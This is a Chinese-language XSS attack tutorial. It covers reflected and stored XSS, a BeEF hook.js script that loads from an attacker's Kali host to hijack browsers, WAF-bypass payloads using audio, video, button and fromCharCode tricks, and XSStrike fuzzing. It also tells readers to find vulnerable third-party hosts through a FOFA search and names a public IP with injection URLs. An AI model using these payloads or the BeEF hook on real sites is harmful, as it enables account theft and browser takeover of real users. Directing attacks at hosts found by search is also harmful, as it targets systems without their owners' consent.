XSS漏洞攻击的溯源分析与实战

课程目录

  1. 什么是XSS漏洞
  2. 为什么要学XSS漏洞
  3. XSS漏洞基础篇
  4. XSS漏洞实战篇
  5. XSS漏洞WAF防御绕过篇

一、XSS简介与危害

简介

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

危害

  • 盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员账号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其它网站发起攻击(重定向语句)
  • 窃取cookie的sessionid,冒充登录

二、反射型与存储型XSS

XSS攻击可分为三类:反射型XSS存储型XSSDOM型XSS

反射型XSS

案例1:基本反射型XSS

编写代码,命名为 1.php

复制代码
<?php
  $xss = $_GET['x'];
  echo $xss;
?>

正常访问:

复制代码
http://localhost/1.php?x=1

注入XSS payload:

复制代码
http://localhost/1.php?x=<script>alert(1)</script>
http://localhost/1.php?x=<script>alert('已入侵你后端系统')</script>
http://localhost/1.php?x=<h1 style='font-size: 10vw;'>你被入侵啦,遭到破坏啦,哈哈哈</script></h1>
案例2:利用FOFA寻找目标

使用 FOFA 搜索目标:

复制代码
"pikachu" && country="CN" && title="Get the pikachu"

例如寻找到目标:http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=2&submit=submit

**方式一:**发现不让输入过多字符,可以直接修改URL:

复制代码
http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit

方式二: F12进入开发者模式,直接修改网页代码,例如把 lengthMax 从 20 修改到 200。

存储型XSS

案例

目标地址:http://111.230.104.121:8765/vul/xss/xss_stored.php

把以下语句填写到编辑框内,insert到数据库中去:

复制代码
<script>alert(1)</script>

**总结:**攻击数据存储在服务器,攻击一直持续下去,危害比反射型大。

三、XSS综合案例

上面只是对XSS有个基本概念,理解XSS就是使用JS作为恶意代码的攻击行为,看上去没什么危害!下面通过综合案例展示XSS的真实威胁。

综合案例1:Beef-XSS劫持网站

fdd靶场搭建步骤
复制代码
127.0.0.1/jfdd/install/install.php
http://127.0.0.1/jfdd/admin/login.php
http://localhost/jfdd/
http://localhost/jfdd/admin/login.php
XSS漏洞重现

访问 http://localhost/jfdd/,在具体需求里面输入:

复制代码
<script>alert(1)</script>
进入后台

访问 http://localhost/jfdd/admin/login.php 查看效果。

使用Beef劫持网站

Beef-XSS是一款功能强大的「XSS漏洞利用工具」,kali自带,基于Ruby语言开发。

安装beef:

复制代码
vim /etc/apt/sources.list

# 阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

# 中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

# 清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

配置好镜像后执行:apt update

初次使用会让你设置密码,如果密码忘了,可以到 /usr/share/beef-xss/config.yaml 查看。

复制代码
beef-xss

beef安装好之后的默认信息:

复制代码
用户名:beef
密码:123456

http://127.0.0.1:3000/ui/authentication

填写kali的IP地址,注入hook脚本:

复制代码
<script src="http://填写Kali的IP地址:3000/hook.js">
<script src="http://192.168.220.128:3000/hook.js">
回到后台kali操作宿主机下单

注入此 <script src="http://192.168.220.128:3000/hook.js"> 语句到数据库里面去。

跳转页面

使用Beef的 commands → redirect 功能可以跳转页面。

四、XSS的绕过WAF

未开启WAF

复制代码
http://localhost/1.php?x=<script>alert(1)</script>

安装安全狗 - WAF防护

安装到某个英文路径下即可。安装好安全狗后,自动关联到合适的apache2.x。

在注入的时候,根据WAF的规范,绕过是get方式,会对union进行过滤。

再次访问 http://localhost/1.php?x=<script>alert(1)</script>,安全狗防护住的效果:请求被拦截。

手工绕过

标签语法替换

就是使用其他标签来替换,不同WAF过滤的手段并不一样,需要自己尝试。

audio标签
复制代码
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror=javascript:alert(1)></audio>

案例:

复制代码
http://localhost/1.php?x=<audio src=x onerror=alert(47)>
http://localhost/1.php?x=<audio src=x onerror=prompt(1);>
http://localhost/1.php?x=<audio src=1 href=1 onerror=javascript:alert(1)></audio>
video标签
复制代码
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
button标签
复制代码
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
加密算法ASCII
复制代码
// ASCII码绕过
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >

仅仅只是理解ASCII码的样子:97,108,101,114,116,40,49,41 = alert(1)

XSStrike工具绕过

Python3的准备工作

先在环境变量中,切换到python3的优先执行权:

复制代码
python.exe -V
python.exe -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/
pip install -r 安装包 -i https://mirrors.aliyun.com/pypi/simple/
XSStrike为何物?

XSStrike是一个先进的XSS检测工具,Github地址:https://github.com/s0md3v/XSStrike

参数
复制代码
-h, --help        // 显示帮助信息
-u, --url         // 指定目标 URL
--data            // POST 方式提交内容
-v, --verbose     // 详细输出
-f, --file        // 加载自定义 payload 字典
-t, --threads     // 定义线程数
-l, --level       // 爬行深度
-t, --encode      // 定义 payload 编码方式
--json            // 将 POST 数据视为 JSON
--path            // 测试 URL 路径组件
--seeds           // 从文件中测试、抓取 URL
--fuzzer          // 测试过滤器和 Web 应用程序防火墙
--update          // 更新
--timeout         // 设置超时时间
--params          // 指定参数
--crawl           // 爬行
--proxy           // 使用代理
--blind           // 盲测试
--skip            // 跳过确认提示
--skip-dom        // 跳过 DOM 扫描
--headers         // 提供 HTTP 标头
-d, --delay       // 设置延迟
案例
fuzz测试

安装依赖:

复制代码
pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

测试:

复制代码
你当前的路径\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer
直接探测

发现并没有payload加载,原因是页面没有HTML结构。

复制代码
你当前的路径\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1"

所以修改 1.php 页面为HTML的形式:

复制代码
<!DOCTYPE html><html>
<head>
  <meta http-equiv="content-type" content="text/html;charset=utf-8">
  <title>欢迎来到</title>
</head>
<body>
  <h1 align=center>欢迎</h1>
  <?php
    $xss = $_GET['x'];
    echo $xss;
  ?>
  <center>测试XSS</center>
</body>
</html>

再次测试就好了。

© 2026 安全攻防笔记 - 仅供安全研究与学习使用

相关推荐
vortex51 天前
XSS 漏洞深度挖掘与利用:从自动化扫描到账户接管
前端·自动化·xss
IT布道1 天前
[Web安全] SVG文件上传风险与Apache防御配置实践
web安全·apache·xss
kft13142 天前
XSS深度剖析:从弹窗到持久化窃取Cookie
前端·web安全·xss·安全测试
德迅云安全-小潘2 天前
了解并防范跨站脚本攻击,XSS攻击全解析,德迅云安全SCDN提供全方位的安全
网络·安全·xss
一拳一个娘娘腔6 天前
【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术
前端·xss·csrf
xiaoxue..7 天前
详解:XSS 攻击和 CSRF 攻击
安全·面试·xss·csrf
代码飞天7 天前
CTF之xss注入——一切都似乎没有问题
前端·xss
介一安全8 天前
【案例分析】网盘高危漏洞深度剖析:存储型XSS与CSRF的组合攻击
网络·xss·csrf
技术不好的崎鸣同学9 天前
WEB安全之XSS专题:前沿案例与实战分析
安全·web安全·xss